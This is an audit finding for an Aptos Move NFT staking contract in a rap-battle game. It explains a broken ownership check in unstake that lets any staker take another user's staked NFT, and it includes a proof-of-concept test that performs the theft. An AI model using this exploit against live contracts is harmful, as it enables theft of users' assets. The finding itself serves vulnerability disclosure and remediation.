Root + Impact
Description
When staking and unstaking, data is stored in the type StakeInfo
, which contains the start_time_seconds
for reward calculation, and owner
to check that the NFT corresponds to the correct owner when unstaking.
However, this type's data is move_to
the staker address. This means that staker's StakeInfo
will always have owner == staker_addr
. There is no link to the NFT being stored, so anyone could steal it once it's staked.
In unstake
, the second assert will always be true.
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
let stake_info = borrow_global<StakeInfo>(staker_addr);
@> assert!(stake_info.owner == staker_addr, E_NOT_OWNER);
This means that a staker can steal any NFT present in the protocol. In the case where a defender is stolen (defenders are rappers entering the stage to battle), then it can't be send back to its owner after a battle ends.
Risk
Likelihood:
Easy to perform, but the attacker but exchange one of its NFT in the process.
Impact:
Stealing another user NFT. If the NFT is a defender, it can't be send back to its owner after a battle ends.
Proof of Concept
You will first need to add test_only functions in the code:
#[test_only]
public fun mint_cred(to: address,amount: u64) acquires CredCapabilities {
let caps = borrow_global<CredCapabilities>(@battle_addr);
let coins = coin::mint(amount, &caps.mint_cap);
coin::deposit(to, coins);
}
#[test_only]
public entry fun init(account: &signer) {
init_module(account);
}
#[test_only]
public fun get_mint_rapper_event_minter(event: &MintRapperEvent): address {
event.minter
}
#[test_only]
public fun get_mint_rapper_event_token_id(event: &MintRapperEvent): address {
event.token_id
}
#[test_only]
public entry fun init(sender: &signer) {
init_module(sender);
}
Add this code in the test file:
#[test(
module_owner = @battle_addr, alice = @0x999, bob = @998, aptos_framework = @aptos_framework
)]
public fun test_steal_other_rapper(
module_owner: signer, alice: signer, bob: signer, aptos_framework: signer
) {
timestamp::set_time_has_started_for_testing(&aptos_framework);
aptos_coin::ensure_initialized_with_apt_fa_metadata_for_test();
let alice_address = signer::address_of(&alice);
let bob_address = signer::address_of(&bob);
cred_token::init(&module_owner);
rap_battle::init(&module_owner);
one_shot::mint_rapper(&module_owner, alice_address);
let events = event::emitted_events<one_shot::MintRapperEvent>();
let event = events.borrow(0);
let alice_rapper = one_shot::get_mint_rapper_event_token_id(event);
one_shot::mint_rapper(&module_owner, bob_address);
let events = event::emitted_events<one_shot::MintRapperEvent>();
let event = events.borrow(1);
let bob_rapper = one_shot::get_mint_rapper_event_token_id(event);
rap_battle::go_on_stage_or_battle(&alice, object::address_to_object<token::Token>(alice_rapper), 0);
streets::stake(&bob, object::address_to_object<token::Token>(bob_rapper));
streets::unstake(&bob, &module_owner, object::address_to_object<token::Token>(alice_rapper));
}
Recommended Mitigation
Check the owner of the NFT is the caller. This can be performed by either adding an NFT id in the StakeInfo
type, or by checking the already existing data in one_shot::StatsData
.